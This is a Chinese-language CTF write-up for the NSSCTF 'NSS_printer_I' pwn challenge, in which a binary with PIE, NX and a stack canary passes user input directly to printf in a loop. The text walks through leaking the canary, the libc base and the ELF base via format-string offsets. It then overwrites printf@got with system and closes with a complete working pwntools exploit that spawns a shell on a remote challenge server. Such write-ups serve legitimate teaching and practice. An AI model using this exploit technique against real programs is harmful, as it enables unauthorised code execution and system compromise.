好久没做格式化字符串的题,略显生疏,还被 PIE 卡了下。
题面
ubuntu16
给二进制文件。
分析
checksec 查看保护:
1
2
3
4
5
6
7
8
|
❯ pwn checksec ./附件
[*] '/data/project/ctf-repo/pwn/nssctf/SWPUCTF_2021_新 生赛-NSS_printer_I/附件'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
|
基本全开……
ida 静态分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
char buf[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v4; // [rsp+68h] [rbp-8h]
v4 = __readfsqword(0x28u);
init(a1: argc, a2: argv, a3: envp);
while ( 1 )
{
puts(s: "======================================");
puts(s: "=====welcone to use NSS printer!======");
printf(format: "input what you want to say: ");
read(fd: 0, buf, nbytes: 0x64u);
printf(format: "you said:");
printf(format: buf);
}
}
|
仅此,死循环的格式化字符串利用。
没有什么函数和字符串可以用的。
利用
有无限格式化字符串其实就够用了。
偏移量 6。
首先对漏洞 printf 打断点查看栈空间:
1
2
3
|
b *main+130
c
telescope
|

据此可以泄漏 canary 值、libc 基址和 elf 基址,分别的偏移量是 19, 21, 25。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
# offset 6
payload = b"%19$p%21$p^^%25$p&&" # canary, csu + 140, main
io.recvuntil(b"you want to say: ")
io.sendline(payload)
canary = int(io.recvuntil(b"00")[-16:], 16)
print("canary =", hex(canary))
libc_base = int(io.recvuntil(b"^^")[:-2], 16) - 240 - libc.sym["__libc_start_main"]
print("libc base address =", hex(libc_base))
main = int(io.recvuntil(b"&&")[:-2], 16)
elf_base = main - 0xa14
print("main =", hex(main))
system = libc_base + libc.sym["system"]
printf_got = elf_base + elf.got["printf"]
|
这道题的关键在于 PIE,其实后面的劫持 printf@got 写入 system 没什么问题,直接 fmtstr_payload 写 short 即可。关键在于因为有 PIE 所以需要通过 main 地址拿到 elf 基址以此得到真实的 printf@got 地址。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
from pwn import *
#io = process("./附件")
io = remote("node4.anna.nssctf.cn", 23103)
elf = ELF("./附件")
libc = ELF("./libc.so.6")
context.arch = "amd64"
context.os = "linux"
# offset 6
payload = b"%19$p%21$p^^%25$p&&" # canary, csu + 140, main
io.recvuntil(b"you want to say: ")
io.sendline(payload)
canary = int(io.recvuntil(b"00")[-16:], 16)
print("canary =", hex(canary))
libc_base = int(io.recvuntil(b"^^")[:-2], 16) - 240 - libc.sym["__libc_start_main"]
print("libc base address =", hex(libc_base))
main = int(io.recvuntil(b"&&")[:-2], 16)
elf_base = main - 0xa14
print("main =", hex(main))
system = libc_base + libc.sym["system"]
printf_got = elf_base + elf.got["printf"]
payload = fmtstr_payload(6, {printf_got:system}, write_size="short")
io.recvuntil(b"you want to say: ")
io.sendline(payload)
io.sendline(b"/bin/sh\x00")
io.interactive()
|